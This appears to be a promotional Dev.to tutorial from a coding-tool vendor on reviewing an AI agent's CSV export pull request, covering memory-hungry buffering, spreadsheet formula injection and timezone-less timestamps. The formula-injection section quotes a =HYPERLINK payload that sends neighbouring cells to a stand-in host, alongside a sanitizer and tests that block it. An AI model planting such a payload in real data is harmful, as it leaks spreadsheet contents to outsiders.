Reviewing an Agent's CSV Export PR: Memory Spikes, Formula Injection, and Timezone Drift
An admin asked for one button. "Export orders to CSV." An agent produced a 180-line PR in minutes. The smoke test passed on twelve rows. The reviewer approved nothing. Three defects sat under the green checkmark. One buffered every row twice. One let a customer note start a spreadsheet formula. One wrote every timestamp without an offset. This post walks the triage any agent-generated export PR deserves: what to trust, what to revert, what to test. Code is Python with asyncpg and FastAPI. The method ports to any stack. Disclosure: This article was prepared as part of MonkeyCode's product outreach. 1. The diff, as submitted @router.get('/admin/export/orders.csv') async def export_orders(db): rows = await db.fetch('SELECT id, email, total, created_at, note FROM orders') buf = io.StringIO() w = csv.writer(buf) w.writerow(['id', 'email', 'total', 'created_at', 'note']) for r in rows: w.writerow([r['id'], r['email'], r['total'], r['created_at'].isoformat(), r['note']]) return Response(buf.getvalue(), media_type='text/csv') Read it once, slowly, at db.fetch. That call materializes the full table. Then StringIO holds a second copy. Then getvalue() makes a third. The route is correct for a demo table. It is a memory incident for a real orders table. 2. Triage: trust, revert, test Diff area Verdict Why Route path and CSV headers Trust Names match the admin UI and the support runbook csv.writer usage Trust Correct escaping of quotes and commas db.fetch of the whole table Revert Loads the full result set before the first byte Response(getvalue()) Revert No streaming, no backpressure, no early flush created_at.isoformat() Test Silent offset loss on naive datetimes Cell values passed raw Test Formula injection via user-controlled text Missing Content-Disposition Fix Browsers guess the filename otherwise Three rows in that table justify the whole review. None of them fail the existing test suite. 3. Defect A: the export buffers everything The reviewer measured instead of arguing. A seed script inserted 200,000 rows. tracemalloc recorded the peak during one request. import tracemalloc def test_export_peak_memory(client, seeded_orders): tracemalloc.start() with client.stream('GET', '/admin/export/orders.csv') as r: for _ in r.iter_bytes(65536): pass _, peak = tracemalloc.get_traced_memory() tracemalloc.stop() assert peak < 64 * 1024 * 1024 Record the peak on the old code before changing anything. That number is the baseline for the review comment and the PR description. The fix is a server-side cursor plus a generator. Rows leave the process while the query is still open. BATCH = 1000 async def stream_orders(db): buf = io.StringIO() writer = csv.writer(buf) writer.writerow(HEADER) yield buf.getvalue() async with db.transaction(): async for row in db.cursor(SELECT_ORDERS, prefetch=BATCH): buf.seek(0) buf.truncate(0) writer.writerow(to_row(row)) yield buf.getvalue() Two details matter more than the generator itself. The cursor lives inside a transaction, or asyncpg will not hold it. prefetch caps the in-flight rows on the client side. Return it with StreamingResponse(stream_orders(db), media_type='text/csv'). Set Content-Disposition: attachment; filename='orders.csv' explicitly. 4. Defect B: formula injection CSV is not inert. A cell beginning with =, +, -, or @ becomes a formula in Excel and Sheets. A customer note of =HYPERLINK("http://x/?"&A1,"click") exfiltrates neighboring cells on open. The agent wrote raw values. The reviewer added a sanitizer at the boundary. DANGEROUS_PREFIX = ('=', '+', '-', '@', '\t', '\r') def sanitize(value: str) -> str: if value and value[0] in DANGEROUS_PREFIX: return "'" + value return value Apply it to every free-text column. Do not apply it to integers you generated. Test the exact strings, not the concept. @pytest.mark.parametrize('cell', ['=1+1', '+A1', '-2+3', '@SUM(A1)', '\tcmd']) def test_sanitizer_prefixes_dangerous_cells(cell): assert sanitize(cell).startswith("'") 5. Defect C: timezone drift datetime.isoformat() prints what it is given. A naive column prints without an offset. A reader in another zone parses it as local time. The reviewer pinned one rule: storage is UTC, output carries an offset. from datetime import timezone def format_ts(ts): if ts.tzinfo is None: ts = ts.replace(tzinfo=timezone.utc) return ts.astimezone(timezone.utc).isoformat() Then assert the suffix. A golden-string test catches regressions in one line. def test_timestamp_has_utc_offset(): assert format_ts(datetime(2026, 11, 9, 4, 5, 6)).endswith('+00:00') Treat naive datetimes as a schema bug, not a formatting bug. Fix the column type and add a migration check. 6. The review loop, in order Steps the reviewer ran, in the order they paid off. Seed a table larger than any demo: python -m scripts.seed_orders --rows 200000. Record peak memory on the unmodified branch. Reproject the route as a generator; keep the old path behind a flag. Diff both outputs with cmp on a fixed seed. Add sanitizer and timestamp tests before merging. Check headers with curl -sD- -o /dev/null http://localhost:8000/admin/export/orders.csv. Confirm chunked transfer, not a single Content-Length blob. Step four is the one reviewers skip. Byte-identical output proves the rewrite is a refactor, not a behavior change. 7. Where the free tier fits The agent drafted this PR on MonkeyCode's free model access. The reviewer then re-ran the memory test on the free server option, not on a laptop. That split is the useful part. Generation is cheap. Verification needs a machine that stays up for a 200,000-row seed and a full pytest run. Two limits apply. A free server is not production hardware, so compare shapes rather than absolute numbers. And treat every generated diff as unverified until your own harness prints a result. The free model access and free server option fit review loops like this one, where the artifact and the test are the actual work. 8. Who should skip this approach Teams without a seeded fixture. Memory tests on toy tables prove nothing. Exports that must be signed or audited. Streaming complicates checksums. Datasets small enough to fit in one page. db.fetch is fine there. Anyone unwilling to run the harness. An unverified PR is a liability. Closing The agent's PR was not wrong everywhere. Route, headers, and CSV escaping were sound. The three defects were boundary issues: table size, cell content, and clock zone. Review those boundaries first. Measure before you argue. Keep the sanitizer and the offset test after the rewrite lands.
This is a summary aggregated from Dev.to. Read the complete article on the original site:
Read full article at Dev.to